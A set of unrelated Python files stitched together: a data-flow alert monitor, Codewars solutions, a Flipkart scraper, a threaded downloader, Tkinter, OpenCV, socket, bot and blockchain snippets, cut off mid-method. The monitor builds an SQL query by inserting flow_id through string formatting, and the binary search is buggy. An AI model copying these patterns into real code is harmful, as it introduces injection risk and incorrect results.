        detecting_periods = list(detecting_periods)
        index, step = 0, 100
        length = len(detecting_periods)
        history_data = []
        logging.info("Start to fetch these periods(%s)" % json.dumps(detecting_periods))

        # 并发获取各个历史周期的数据量
        while index < length + step:
            tasks = []
            for flow_id, period in detecting_periods[index : min(index + step, length)]:
                tasks.append(
                    gevent.spawn(
                        self.query_history_data_by_period,
                        history_data,
                        flow_id,
                        period,
                        now,
                    )
                )
            gevent.joinall(tasks)
            index += step

        # 收集历史数据
        for data in history_data:
            flow_id = str(data.get("flow_id"))
            node_id = str(data.get("node_id") or None)
            logical_key = self.gen_logical_key(data)

            cnt = int(data.get("data_total_inc") or 0)
            timestamp = str(floor_minute(data.get("time", 0)))

            if flow_id not in self._metric_cache:
                continue
            if node_id not in self._metric_cache[flow_id]:
                continue
            if logical_key not in self._metric_cache[flow_id][node_id]:
                continue

            self._metric_cache[flow_id][node_id][logical_key]["history"][
                timestamp
            ] = cnt

    def query_history_data_by_period(self, history_data, flow_id, period, now):
        # 根据周期获取历史数据
        logging.info(
            "Start to fetch last %s hours data of the flow(%s)" % (period, flow_id)
        )
        start_time = time.time()
        sql = """
            SELECT SUM(data_inc) as data_total_inc from data_loss_output_total
            WHERE time >= {start_time}s AND time < {end_time}s AND flow_id = '{flow_id}'
            GROUP BY time(1m), flow_id, node_id, module, component, cluster, logical_tag, storage
        """.format(
            flow_id=flow_id,
            start_time=int(
                now - period * 3600 + self.WINDOW_START_DIFF - self.BUFF_TIME
            ),
            end_time=int(now - period * 3600 + self.WINDOW_END_DIFF + self.BUFF_TIME),
        )
        results = influxdb_connections["monitor_data_metrics"].query(
            sql=sql, is_dict=True
        )
        if not results:
            logging.error(
                "Failed to fetch last %s hours data of the flow(%s), sql: %s, cost %.3fs"
                % (
                    period,
                    flow_id,
                    sql,
                    time.time() - start_time,
                )
            )
            return

        try:
            history_data.extend(results)
            logging.info(
                "Finish fetching last %s hours data of the flow(%s), length: %s, cost %.3fs"
                % (
                    period,
                    flow_id,
                    len(results),
                    time.time() - start_time,
                )
            )
        except Exception as e:
            logging.error(
                "Failed to fetch last %s hours data of the flow(%s), sql: %s, cost %.3fs, ERROR: %s"
                % (
                    period,
                    flow_id,
                    sql,
                    time.time() - start_time,
                    str(e),
                )
            )

    def detect_metrics(self, now):
        for alert_config in self._alert_configs:
            for target in alert_config.get("monitor_target", []):
                monitor_config = alert_config.get("monitor_config", {})
                if (
                    self.ALERT_CODE not in monitor_config
                    or monitor_config[self.ALERT_CODE]["monitor_status"] == "off"
                ):
                    continue

                flow_id, node_id = self.get_flow_node_by_target(target)
                if flow_id is not None:
                    self.monitor_flow_metrics(
                        str(flow_id), str(node_id), alert_config, target, now
                    )

    def monitor_flow_metrics(self, flow_id, node_id, alert_config, target, now):
        try:
            self.check_metadata(
                self._flow_infos, self.CACHE_REFRESH_ERROR_INTERVAL, "flow_infos"
            )
        except Exception:
            self.refresh_cache()
            self.cache_time = now
            return

        if not flow_id or str(flow_id) not in self._flow_infos:
            return
        flow_info = self._flow_infos[str(flow_id)]
        if (
            flow_info.get("flow_type") == "dataflow"
            and flow_info.get("status") != "running"
        ):
            if flow_id in self._metric_cache:
                del self._metric_cache[flow_id]
            return

        if flow_id not in self._metric_cache:
            return
        if node_id not in self._metric_cache[flow_id]:
            return

        for logical_key, logical_metrics in self._metric_cache[flow_id][
            node_id
        ].items():
            # 统计最近有效时间内的数据量
            self.monitor_logical_metrics(
                flow_id,
                node_id,
                target,
                logical_key,
                logical_metrics,
                alert_config,
                now,
            )

    def monitor_logical_metrics(
        self, flow_id, node_id, target, logical_key, logical_metrics, alert_config, now
    ):
        diff_period = alert_config["monitor_config"][self.ALERT_CODE].get(
            "diff_period", 1
        )
        diff_count = alert_config["monitor_config"][self.ALERT_CODE].get(
            "diff_count", 1
        )
        diff_unit = alert_config["monitor_config"][self.ALERT_CODE].get(
            "diff_unit", "percent"
        )
        diff_trend = alert_config["monitor_config"][self.ALERT_CODE].get(
            "diff_trend", "both"
        )

        recent_cnt = 0
        for timestamp, cnt in logical_metrics["recent"].items():
            if (
                float(timestamp) >= now + self.WINDOW_START_DIFF
                and float(timestamp) < now + self.WINDOW_END_DIFF
            ):
                recent_cnt += cnt

        # 统计待对比的历史时间区间的数据量
        history_cnt = 0
        for timestamp, cnt in logical_metrics["history"].items():
            history_start_time = now - diff_period * 3600 + self.WINDOW_START_DIFF
            history_end_time = now - diff_period * 3600 + self.WINDOW_END_DIFF
            if (
                float(timestamp) >= history_start_time
                and float(timestamp) < history_end_time
            ):
                history_cnt += cnt

        logging.info(
            "Logical key: %s, recent: %s, history: %s"
            % (logical_key, recent_cnt, history_cnt)
        )
        if logical_key in self._debug_data_sets:
            logging.info("Metrics: %s" % json.dumps(logical_metrics))

        if diff_trend == "both":
            diff = abs(recent_cnt - history_cnt)
            diff_trend = "increase" if recent_cnt > history_cnt else "decrease"
        elif diff_trend == "increase":
            if recent_cnt < history_cnt:
                return
            diff = recent_cnt - history_cnt
        elif diff_trend == "decrease":
            if recent_cnt > history_cnt:
                return
            diff = history_cnt - recent_cnt
        else:
            return

        if diff_unit == "percent":
            if history_cnt > 0:
                if diff * 1.0 / history_cnt > diff_count * 0.01:
                    self.generate_alert(
                        alert_config,
                        target,
                        flow_id,
                        node_id,
                        recent_cnt,
                        history_cnt,
                        diff_period,
                        diff_count,
                        diff_unit,
                        diff_trend,
                        logical_metrics["tags"],
                        now,
                    )
        elif diff_unit == "count":
            if diff > diff_count:
                self.generate_alert(
                    alert_config,
                    target,
                    flow_id,
                    node_id,
                    recent_cnt,
                    history_cnt,
                    diff_period,
                    diff_count,
                    diff_unit,
                    diff_trend,
                    logical_metrics["tags"],
                    now,
                )

    def generate_alert(
        self,
        alert_config,
        target,
        flow_id,
        node_id,
        recent_count,
        history_cnt,
        diff_period,
        diff_count,
        diff_unit,
        diff_trend,
        tags,
        now,
    ):
        flow_info = self._flow_infos.get(str(flow_id), {})
        tags = tags or {}

        if diff_unit == "percent":
            trend = "上升" if diff_trend == "increase" else "下降"
            trend_en = "{diff_trend}d".format(diff_trend=diff_trend)
            diff_count = "{diff_count:.2f}%".format(
                diff_count=abs(recent_count - history_cnt) * 100 / history_cnt
            )
        else:
            trend = "增长" if diff_trend == "increase" else "减少"
            trend_en = "{diff_trend}d".format(diff_trend=diff_trend)
            diff_count = "{diff_count}".format(
                diff_count=abs(recent_count - history_cnt)
            )

        window_time = self.WINDOW_END_DIFF - self.WINDOW_START_DIFF
        window_time_display, window_time_display_en = self.convert_display_time(
            window_time
        )

        period_time_display, period_time_display_en = self.convert_display_time(
            diff_period * 3600
        )

        logical_tag = str(tags.get("logical_tag", ""))
        entity_display, entity_display_en = self.get_logical_tag_display(
            logical_tag, tags, flow_info
        )

        recent_avg = recent_count * 60 // window_time
        history_avg = history_cnt * 60 // window_time

        message = self.ALERT_MESSAGE.format(
            entity_display=entity_display,
            window_time_display=window_time_display,
            data_total_cnt=recent_avg,
            last_total_cnt=history_avg,
            diff_trend=trend,
            diff_count=diff_count,
            period_time_display=period_time_display,
        )
        message_en = self.ALERT_MESSAGE_EN.format(
            entity_display_en=entity_display_en,
            window_time_display_en=window_time_display_en,
            data_total_cnt=recent_avg,
            last_total_cnt=history_avg,
            diff_trend_en=trend_en,
            diff_count=diff_count,
            period_time_display_en=period_time_display_en,
        )
        full_message = self.ALERT_FULL_MESSAGE.format(
            entity_display=entity_display,
            logical_tag=logical_tag,
            window_time_display=window_time_display,
            data_total_cnt=recent_avg,
            last_total_cnt=history_avg,
            diff_trend=trend,
            diff_count=diff_count,
            period_time_display=period_time_display,
        )
        full_message_en = self.ALERT_FULL_MESSAGE_EN.format(
            entity_display_en=entity_display_en,
            logical_tag=logical_tag,
            window_time_display_en=window_time_display_en,
            data_total_cnt=recent_avg,
            last_total_cnt=history_avg,
            diff_trend_en=trend_en,
            diff_count=diff_count,
            period_time_display_en=period_time_display_en,
        )

        alert_info = {
            "time": now,
            "database": "monitor_data_metrics",
            "dmonitor_alerts": {
                "message": message,
                "message_en": message_en,
                "full_message": full_message,
                "full_message_en": full_message_en,
                "alert_status": AlertStatus.INIT.value,
                "tags": {
                    "alert_level": self.ALERT_LEVEL,
                    "alert_code": self.ALERT_CODE,
                    "alert_type": self.ALERT_TYPE,
                    "alert_config_id": alert_config.get("id"),
                    "flow_id": flow_id,
                    "node_id": node_id,
                    "data_set_id": logical_tag,
                    "generate_type": alert_config.get("generate_type"),
                },
            },
        }

        if target.get("target_type") == "dataflow":
            if flow_info:
                alert_info["dmonitor_alerts"]["tags"].update(
                    {
                        "project_id": flow_info.get("project_id"),
                        "bk_app_code": flow_info.get("bk_app_code"),
                    }
                )
            alert_info["dmonitor_alerts"]["tags"].update(tags)
        elif target.get("target_type") == "rawdata":
            if flow_info:
                alert_info["dmonitor_alerts"]["tags"].update(
                    {
                        "bk_biz_id": flow_info.get("bk_biz_id"),
                        "bk_app_code": flow_info.get("bk_app_code"),
                        "raw_data_id": flow_info.get("id"),
                    }
                )
            alert_info["dmonitor_alerts"]["tags"].update(tags)

        alert_message = json.dumps(alert_info)
        self.produce_metric(
            DMONITOR_TOPICS["dmonitor_alerts"],
            alert_message,
        )
        self.produce_metric(
            DMONITOR_TOPICS["data_cleaning"],
            alert_message,
        )

    def clear_metrics(self, now):
        for flow_id, flow_metrics in self._metric_cache.items():
            for node_id, node_metrics in flow_metrics.items():
                for logical_key, logical_metrics in node_metrics.items():
                    logical_metrics["history"] = {}
                    timeout_timestamps = []
                    for timestamp in logical_metrics["recent"].keys():
                        if now - float(timestamp) > self.CLEAR_TIMEOUT:
                            timeout_timestamps.append(timestamp)
                    for timestamp in timeout_timestamps:
                        del logical_metrics["recent"][timestamp]


# my task solution
def thirt(n):

    loop = [1, 10, 9, 12, 3, 4]
    sum = 0
    while True:
        current_sum = 0
        for index, digit in enumerate(str(n)[::-1]):
            current_index = index % len(loop)
            current_sum += int(digit) * loop[current_index]
        if sum == current_sum:
            return sum

        sum = current_sum
        n = current_sum

print(thirt(123456789))

# codewars task best solution
array = [1, 10, 9, 12, 3, 4]

def thirt(n):
    total = sum(
        [int(c) * array[i % 6] for i, c in enumerate(reversed(str(n)))])
    if n == total:
        return total
    return thirt(total)

# codewars task best solution
import itertools as it

def thirt(n):
    if n < 100: return n

    pattern = it.cycle([1, 10, 9, 12, 3, 4])

    return thirt(sum(d * n for d, n in zip(map(int, str(n)[::-1]), pattern)))

# codewars task best solution
def thirt(n):
    seq = [1, 10, 9, 12, 3, 4]
    s = str(n)
    t = sum(seq[i % 6] * int(s[-i - 1]) for i in range(len(s)))
    return t if t == n else thirt(t)

# codewars task best solution
from itertools import cycle

def thirt(n):
    c = cycle([1, 10, 9, 12, 3, 4])
    m = sum(int(l) * next(c) for l in str(n)[::-1])
    return m if m == n else thirt(m)

# codewars task best solution
def thirt(n):
    ans = sum(
        [int(val) * ((10**key) % 13) for key, val in enumerate(str(n)[::-1])])
    return n if ans == n else thirt(ans)

Task 225 A Rule of Divisibility by 13/A Rule of Divisibility by 13.py


from django.shortcuts import render
import requests
from bs4 import BeautifulSoup
import pandas as pd
import csv
from matplotlib import pyplot as plt
from io import StringIO
# Create your views here.

def scrapper(url):
    page = requests.get(url)
    htmlContent = page.content

    soup = BeautifulSoup(htmlContent,'html.parser')

    # WEB SCRAPPING
    name = []
    for n in soup.find_all("div",class_="_4rR01T"):
        name.append(n.string.strip())

    price = []
    for p in soup.find_all('div',class_='_30jeq3 _1_WHN1'):
        pdash = p.string.strip()
        pdash = pdash.replace('₹','')
        pdash = pdash.replace(',','')
        price.append(int(pdash))

    rating = []
    for rate in soup.find_all('div',class_='_3LWZlK'):
        if len(rating)<24:
            r = rate.get_text()
            rating.append(float(r))

    return {'name':name,'price':price,'rating':rating}

def home(request):
    return render(request,'home.html',{})

def iphone(request):
    url = "https://www.flipkart.com/search?q=iphones&otracker=search&otracker1=search&marketplace=FLIPKART&as-show=on&as=off&as-pos=1&as-type=HISTORY&as-backfill=on"

    return render(request,'iphone.html',scrapper(url))

def ipad(request):
    url = "https://www.flipkart.com/search?q=IPAD&otracker=search&otracker1=search&marketplace=FLIPKART&as-show=on&as=off"

    return render(request,'ipad.html',scrapper(url))

def macbook(request):
    url = "https://www.flipkart.com/search?q=macbook&otracker=search&otracker1=search&marketplace=FLIPKART&as-show=on&as=off"

    return render(request,'ipad.html',scrapper(url))

def downloadIphone(request):
    url = "https://www.flipkart.com/search?q=iphones&otracker=search&otracker1=search&marketplace=FLIPKART&as-show=on&as=off&as-pos=1&as-type=HISTORY&as-backfill=on"
    df = pd.DataFrame(scrapper(url))
    df.to_csv('ihone.csv',index=True)
    return render(request,'home.html',{})

def downloadIpad(request):
    url = "https://www.flipkart.com/search?q=IPAD&otracker=search&otracker1=search&marketplace=FLIPKART&as-show=on&as=off"
    df = pd.DataFrame(scrapper(url))
    df.to_csv('ipad.csv',index=True)
    return render(request,'home.html',{})

def downloadMac(request):
    url = "https://www.flipkart.com/search?q=macbook&otracker=search&otracker1=search&marketplace=FLIPKART&as-show=on&as=off"
    df = pd.DataFrame(scrapper(url))
    df.to_csv('macbook.csv',index=True)
    return render(request,'home.html',{})

def graph():
    url = "https://www.flipkart.com/search?q=iphones&otracker=search&otracker1=search&marketplace=FLIPKART&as-show=on&as=off&as-pos=1&as-type=HISTORY&as-backfill=on"
    di = scrapper(url)
    y = di['rating']
    x = di['price']
    fig = plt.figure()
    plt.plot(x,y)
    # plt.bar(x,y)
    # plt.xlabel("Rating's of iphone")
    # plt.ylabel("Price's of iphone")
    imgdata = StringIO()
    fig.savefig(imgdata, format='svg')
    imgdata.seek(0)

    data = imgdata.getvalue()
    return data

def graphIphone(request):
    context = {}
    context['graph'] = graph()
    return render(request, 'graph.html', context)


import threading
import random
import time

import urllib.request

# API_ADDRESS = 'http://localhost:8100/image.png'
API_ADDRESS = 'https://www.google.com/'

def download_image(url, file):
    print('Downloading image from ', url)
    return urllib.request.urlretrieve(url, file)

def execute_thread(i, stop_event):
    while not stop_event.is_set():
        print(f'active thread {threading.current_thread()}')
        image_name = f'./temp/image_{i}.jpg'
        download_image(API_ADDRESS, image_name)

if __name__ == '__main__':
    threads = []

    for i in range(8):
        event = threading.Event()
        thread = threading.Thread(target=execute_thread, args=(i, event), name=str(i))
        threads.append((thread, event))
        thread.start()

    print(f'active threads: {threading.active_count()}')
    print(f'enumerate threads: {threading.enumerate()}')

    thread, event = random.choice(threads)
    event.set()

    time.sleep(1)
    for i in threads:
        i[1].set()


from __future__ import print_function
from future import standard_library
standard_library.install_aliases()
from builtins import object

from tkinter import *
from scipy.interpolate import UnivariateSpline
import os, sys
from xymath.splines import Spline

class SplinePage(object):

    def leavePageCallback(self):
        '''When leaving page, tidy up any issues.'''
        print('Leaving SplinePage')

    def selectPageCallback(self):
        '''When entering page, do a little setup'''
        print('Entering SplinePage')

    def __init__(self, guiObj, pageFrame):

        self.guiObj = guiObj
        self.pageFrame = pageFrame

        # make frames
        self.main_frame = Frame(pageFrame)
        self.top_f = Frame(self.main_frame)
        self.top_left_f = Frame(self.top_f)
        self.top_right_f = Frame(self.top_f)

        self.selected_spline_nameL = []
        self.guiObj.selected_spline_objL = []
        self.selected_smoothing = 0.0

        self.Label_1 = Label(self.top_left_f,text="Select Spline(s)", width="15")
        self.Label_1.pack(anchor=NW, side=TOP)  #.place(x=36, y=6, width=200, height=22)

        lbframe = Frame( self.top_left_f )
        self.Listbox_1_frame = lbframe
        scrollbar = Scrollbar(lbframe, orient=VERTICAL)
        self.Listbox_1 = Listbox(lbframe, width="40", selectmode="extended", exportselection=0,
            yscrollcommand=scrollbar.set, height="7")
        scrollbar.config(command=self.Listbox_1.yview)
        scrollbar.pack(side=RIGHT, fill=Y)
        self.Listbox_1.pack(side=LEFT, fill=BOTH, expand=1)

        self.Listbox_1_frame.pack(anchor=NW, side=TOP)  #.place(x=24, y=30, width=200, height=300)
        self.Listbox_1.bind("<ButtonRelease-1>", self.Listbox_1_Click)

        self.k_valueD = {} # holds polynomial order
        CONTROLS = [
            ("Linear Interpolation", 1),
            ("Quadratic Spline", 2),
            ("Cubic Spline", 3),
            ("Quartic Spline", 4),
            ("Quintic Spline", 5),
            ]
        for text, k in CONTROLS:
            self.Listbox_1.insert(END, text)
            self.k_valueD[text] = k

        # put smoothing control in place
        self.SmoothValLabel = Label(self.top_right_f, text="Smoothing (0=None)", justify=LEFT, anchor=W)
        self.SmoothValStringVar = StringVar(value="0")
        self.SmoothValSpinbox = Spinbox(self.top_right_f, from_=0, to=9, increment=0.1, textvariable=self.SmoothValStringVar)

        self.SmoothValStringVar_traceName = \
            self.SmoothValStringVar.trace_variable("w", self.SmoothValStringVar_Callback)

        self.SmoothValLabel2 = Label(self.top_right_f, text="Must Be >= 0.0", justify=LEFT, anchor=W)

        self.SmoothValLabel.pack(anchor=NW, side=TOP) #.place(x=240, y=30, width=160  )
        self.SmoothValSpinbox.pack(anchor=NW, side=TOP) #.place(x=240, y=60, width=100  )
        self.SmoothValLabel2.pack(anchor=NW, side=TOP)

        # ShowHelp Button
        self.ShowHelp_Button = Button(self.top_f,text="Show Help", width="15")
        self.ShowHelp_Button.bind("<ButtonRelease-1>", self.ShowHelp_Button_Click)

        # make text results area
        lbframe = Frame( self.main_frame )
        self.Messages_Text_frame = lbframe
        scrollbar = Scrollbar(lbframe, orient=VERTICAL)
        self.Messages_Text = Text(lbframe,  yscrollcommand=scrollbar.set)
        scrollbar.config(command=self.Messages_Text.yview)
        self.Messages_Text.pack(anchor=NW, side=LEFT, fill=BOTH, expand=1)
        scrollbar.pack(side=RIGHT, fill=Y)

        self.top_left_f.pack(anchor=NW, side=LEFT)
        self.top_right_f.pack(anchor=NW, side=LEFT, padx=18, pady=18)
        self.ShowHelp_Button.pack(anchor=SE, side=RIGHT)

        self.top_f.pack(anchor=NW, side=TOP, fill=X, expand=1)
        self.Messages_Text_frame.pack(anchor=NW, side=TOP, fill=BOTH, expand=1)

        self.main_frame.pack(anchor=NW, side=LEFT, fill=BOTH, expand=1)

        self.ShowHelp_Button_Click()

    def SmoothValStringVar_Callback(self, varName, index, mode):
        #print "SmoothValStringVar_Callback varName, index, mode",varName, index, mode
        #print "    new StringVar value =",self.SmoothValStringVar.get()
        self.put_splines_on_plot()

    def put_splines_on_plot(self):

        XY = self.guiObj.XYjob
        self.guiObj.selected_spline_objL = []

        try:
            self.selected_smoothing = float( self.SmoothValStringVar.get() )
        except:
            self.selected_smoothing = 0.0

        if self.selected_smoothing < 0.0:
            self.selected_smoothing = 0.0

        curveL = []
        descStr = '' # description string of spline(s)

        if (XY.dataset and XY.dataset.N > 1) or len(self.selected_spline_nameL)>0:
            for n,spline_name in enumerate(self.selected_spline_nameL):
                k = self.k_valueD[ spline_name ]

                if XY.dataset.N > 1 + k:
                    s = Spline( XY.dataset, order=k, smoothing=self.selected_smoothing)
                    self.guiObj.selected_spline_objL.append( s )
                    curveL.append( s )
                    if descStr:
                        descStr +=  '\n' + '='*44 + '\n'
                    descStr += s.get_full_description()

            if self.selected_smoothing==0:
                mytitle = 'Spline Interpolation'
            else:
                mytitle = 'Smoothed Spline Interpolation\n(StdDev=%g, %% StdDev=%g%%, CorrCoeff=%g)'%(s.std, s.pcent_std, s.corrcoef)

            self.guiObj.PlotWin.make_new_plot(dataset=XY.dataset, curveL=curveL,
                title_str=mytitle)

        if descStr:
            self.new_message( descStr )
            self.ShowHelp_Button.configure(state=NORMAL,text="Show Help",width="18",relief=RAISED)

    def ShowHelp_Button_Click(self, event=None):
        #print 'Pressed ShowHelp Button'
        self.new_message('''Fit Spline Curve to Data.

1) Select the desired spline, or splines (order 1 to 5, Linear to Quintic)
2) Select any desired "smoothing"

If smoothing is equal to zero, the spline will go through all data points.

With smoothing added, the curve will go near the data points, but not necessarily through them. Click the Smoothing spin box to change the amount of smoothing.

Standard deviation and percent standard deviation will be calculated for smoothed splines along with their correlation coefficient.

Note that multiple splines can be fitted to the data simply by selecting more than one spline in the listbox.
''')
        self.ShowHelp_Button.configure(state=DISABLED,text="",width="1",relief=FLAT)

    def clear_messages(self):
        self.Messages_Text.delete(1.0, END)
        self.Messages_Text.update_idletasks()
        self.ShowHelp_Button.configure(state=NORMAL,text="Show Help",width="15",relief=RAISED)

    def add_to_messages(self, s):
        self.Messages_Text.insert(END, s)
        self.Messages_Text.update_idletasks()
        self.ShowHelp_Button.configure(state=NORMAL,text="Show Help",width="15",relief=RAISED)

    def new_message(self, s):
        self.clear_messages()
        self.Messages_Text.insert(END, s)
        self.Messages_Text.update_idletasks()
        self.ShowHelp_Button.configure(state=NORMAL,text="Show Help",width="15",relief=RAISED)

    def Listbox_1_Click(self, event): #click method for component ID=2
        #print "executed method Listbox_1_Click"
        #print "current selection(s) =",self.Listbox_1.curselection()
        self.selected_spline_nameL = []
        for i in self.Listbox_1.curselection():
            self.selected_spline_nameL.append( self.Listbox_1.get(i) )
            #self.selected_spline_nameL.append( self.k_valueD[self.Listbox_1.get(i)] )
        #print 'self.selected_spline_nameL =',self.selected_spline_nameL

        self.put_splines_on_plot()


# -*- coding: utf-8 -*-

# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html

class WebcrawlerPipeline(object):
    def process_item(self, item, spider):
        return item

from scrapy.exceptions import DropItem

class PricePipeline(object):

    def process_item(self, item, spider):
        if item.get('price'):
        	item['price'] = '$' + item['price']
        	return item
        else:
            raise DropItem("Missing price in %s" % item)

    # def process_item(self, item, spider):
    #     if item.get('tags'):
    #     	item['tags'] = item['tags'].split(',')
    #     	return item
    #     else:
    #         raise DropItem("Missing tags in %s" % item)


#!/usr/bin/python

def binary_search(number,a):
	min = 0
	max = len(a)-1
	find = False
	count = len(a)
	if number == a[0]:
		return 0
	while count > 1 and not find :
		mid = (min + max)//2
		if number == a[mid]:
			find = True
			return mid
		elif number > a[mid]:
			min = mid + 1
		elif number < a[mid]:
			max = mid - 1
		count = count - 1
	if count == 1:
		return -1

arr1=[1,5,8,12,13]
value = binary_search(2,arr1)
print(value)


import cv2 as cv
import numpy as np

video=cv.VideoCapture(0)
windowClose = np.ones((5, 5), np.uint8)
windowOpen = np.ones((2, 2), np.uint8)
windowErode = np.ones((2, 2), np.uint8)
face_cascade = cv.CascadeClassifier('D:/opencvextracted/opencv/sources/data/haarcascades/haarcascade_frontalface_default.xml')
eye_cascade = cv.CascadeClassifier('D:/opencvextracted/opencv/sources/data/haarcascades/haarcascade_eye.xml')

while(True):
    _,frame=video.read()
    gray=cv.cvtColor(frame,cv.COLOR_BGR2GRAY)
    faces=face_cascade.detectMultiScale(gray,1.3,5)
    for (x,y,w,h) in faces:
        roiForEyes = gray[y:y+h,x:x+w]
        cv.rectangle(frame,(x,y),(x+w,y+h),(0,0,255),2)
        eyes=eye_cascade.detectMultiScale(roiForEyes)

        for (ex,ey,ew,eh) in eyes:

            mainEyeRegion=gray[eyes[0][1]+y:eyes[0][1]+h+eyes[0][3],eyes[0][0]+x:eyes[0][0]+w+eyes[0][2]]
            # if len(eyes)>0:
            #  cv.imshow('gg',mainEyeRegion)
            ret,eyeFrame=cv.threshold(mainEyeRegion,55,255,cv.THRESH_BINARY)
            if eyeFrame is not None:
             eyeFrame = cv.morphologyEx(eyeFrame, cv.MORPH_CLOSE, windowClose)
             eyeFrame = cv.morphologyEx(eyeFrame, cv.MORPH_ERODE, windowErode)
             eyeFrame = cv.morphologyEx(eyeFrame, cv.MORPH_OPEN, windowOpen)

             im2, contours, hierarchy = cv.findContours(eyeFrame, cv.RETR_TREE, cv.CHAIN_APPROX_SIMPLE)

             if len(contours) >= 2:
                 # find biggest blob
                 maxArea = 0
                 MAindex = 0  # to get the unwanted frame
                 distanceX = []  # delete the left most (for right eye)
                 currentIndex = 0
                 for cnt in contours:
                     area = cv.contourArea(cnt)
                     center = cv.moments(cnt)
                     cx, cy = int(center['m10'] ), int(center['m01'] )
                     distanceX.append(cx)
                     if area > maxArea:
                         maxArea = area
                         MAindex = currentIndex
                     currentIndex = currentIndex + 1

                 del contours[MAindex]  # remove the picture frame contour
                 del distanceX[MAindex]

             eye = 'right'

             if len(contours) >= 2:  # delete the left most blob for right eye
                 if eye == 'right':
                     edgeOfEye = distanceX.index(min(distanceX))
                 else:
                     edgeOfEye = distanceX.index(max(distanceX))
                 del contours[edgeOfEye]
                 del distanceX[edgeOfEye]

             if len(contours) >= 1:  # get largest blob
                 maxArea = 0
                 for cnt in contours:
                     area = cv.contourArea(cnt)
                     if area > maxArea:
                         maxArea = area
                         largeBlob = cnt

             if len(largeBlob) > 0:
                 center = cv.moments(largeBlob)
                 cx, cy = int(center['m10'] / center['m00']), int(center['m01'] / center['m00'])
                 cv.circle(eyeFrame, (cx, cy), 5, 255, -1)

             if contours is not None:

              print('circles',len(contours))
              cv.drawContours(frame,contours,-1,(0,0,255),3)
              cv.resizeWindow('eyecontours',400,400)
              cv.imshow('eyecontours',eyeFrame)
             cv.rectangle(frame[y:y+h,x:x+w],(ex,ey),(ex+ew,ey+eh),(255,0,0),2)

    cv.imshow('final',frame)
    cv.waitKey(1)


import socket
import _thread

s = socket.socket()
host = "192.168.1.191"
port = 12345

s.connect((host, port))

msg = ''

user = input("Username: ")

def always_listen(threadname, delay):
    while msg != 'quit':
        received = ('\n'+s.recv(1024).decode())
        print(received)

def prompt():
    msg = user + ": " + input()

    s.sendall(msg.encode())

_thread.start_new_thread(always_listen, ("Thread1", 2) )
while msg != 'quit':
    prompt()

print(s.recv(1024).decode())

s.close()
print("Logging off the client")


import random

def next_move(posx, posy, board):
    # check if there is a dirt cell in the visible environment
    visible_locs = [[x, y] for x, row in enumerate(board) for y, elem in enumerate(row) if elem != "o"]
    visible_dirt = [loc for loc in visible_locs if board[loc[0]][loc[1]] == "d"]

    if len(visible_dirt)>0:
        # get to the closest dirt spot
        d = [sum([abs(loc[0]-posx), abs(loc[1]-posy)]) for loc in visible_dirt]
        # sort dirt location based on how far they are
        z = list(zip(d, visible_dirt))
        z.sort() #sorts based on first list d
        d, visible_dirt = list(zip(*z))

        # get the target location
        target = visible_dirt[0]

        # choose next move based on difference of coordinates (similar to previous exercises)
        diff_r, diff_c = target[0] - posx, target[1] - posy
        if diff_r == 0 and diff_c == 0:
            return "CLEAN"
        elif abs(diff_r)>=abs(diff_c):
            if diff_r > 0:
                return "DOWN"
            else:
                return "UP"
        else:
            if diff_c > 0:
                return "RIGHT"
            else:
                return "LEFT"
    else:
        # there is no visible dirt, what to do?
        # some options: 1) move randomly until you find some dirt (did not work for 3/4 environments, really random                              outcome, sometimes it works other times not)
        #               2) more intelligent options would require some sort of memory/value-function
        #                  to be shared throughout function calls, exercise does not allow for that
        actions = ["UP", "DOWN", "LEFT", "RIGHT"]
        if posx == 0:
            actions.remove("UP")
        elif posx == len(board)-1:
            actions.remove("DOWN")
        if posy == 0:
            actions.remove("LEFT")
        elif posy == len(board[0])-1:
            actions.remove("RIGHT")

        # randomize action shuffling possible actions
        random.shuffle(actions)
        return actions[0]

if __name__ == "__main__":
    pos = [int(i) for i in input().strip().split()]
    board = [[j for j in input().strip()] for i in range(5)]
    print(next_move(pos[0], pos[1], board))


import hashlib
import json
from time import time
from urllib.parse import urlparse
import requests

#区块链类
class Blockchain(object):
    def __init__(self):
        self.chain = []
        self.current_transactions = []
        self.nodes = set() #初始化节点,set()防止节点重复

        #创建创世块
        self.new_block(previous_hash=1,proof=100)

    def new_block(self,proof,previous_hash = None):
        # Creates a new Block and adds it to the chain
        """
        生成新块
        :param proof: <int> The proof given by the Proof of Work algorithm
        :param previous_hash: (Optional) <str> Hash of previous Block
        :return: <dict> New Block
        """
        block = {
            'index':len(self.chain) + 1,
            'timestamp':time(),
            'transactions':self.current_transactions,
            'proof':proof,
            'previous_hash':previous_hash or self.hash(self.chain[-1])
        }
        #重置当前的交易链
        self.current_transactions = []
        self.chain.append(block)
        return block

    def new_transaction(self,sender,recipient,amount):
        # Adds a new transaction to the list of transactions
        """
        生成新交易信息，信息将加入到下一个待挖的区块中
        :param sender: <str> Address of the Sender
        :param recipient: <str> Address of the Recipient
        :param amount: <int> Amount
        :return: <int> The index of the Block that will hold this transaction
        """
        self.current_transactions.append({
            'sender':sender,
            'recipient':recipient,
            'amount':amount
        })

        return self.last_block['index'] + 1

    @staticmethod
    def hash(block):
        # Hashes a Block
        # 生成sha-256 hash
        block_string = json.dumps(block,sort_keys=True).encode()
        return hashlib.sha256(block_string).hexdigest()

    @property
    def last_block(self):
        # Returns the last Block in the chain
        return self.chain[-1]

    def proof_of_work(self,last_proof):
        """
              简单的工作量证明:
              """
        proof = 0
        while self.valid_proof(last_proof, proof) is False:
            proof += 1
        return proof

    @staticmethod
    def valid_proof(last_proof, proof):
        """
        验证证明: 是否hash(last_proof, proof)以4个0开头?
        :param last_proof: <int> Previous Proof
        :param proof: <int> Current Proof
        :return: <bool> True if correct, False if not.
        """

        guess = f'{last_proof}{proof}'.encode()
        guess_hash = hashlib.sha256(guess).hexdigest()
        return guess_hash[:4] == "0000"

    def register_node(self,address):
        """
                Add a new node to the list of nodes
                :param address: <str> Address of node. Eg. 'http://192.168.0.5:5000'
                :return: None
                """
        parsed_url = urlparse(address)
        self.nodes.add(parsed_url.netloc)

    #实现共识算法：最长链才是有效链
    def valid_chain(self,chain):
        last_block = chain[0]
        current_index = 1

        while current_index < len(chain):
            block = chain[current_index]
            print(f'{last_block}')
            print(f'{block}')

            #检查块的哈希值是正确的
            if block['previous_hash'] != self.hash(last_block):
                return False
            #检查POW的正确性
            if not self.valid_proof(last_block['proof'],block['proof']):
                return False

            last_block = block
            current_index += 1
        return True

    def resolve_conflicts(self):
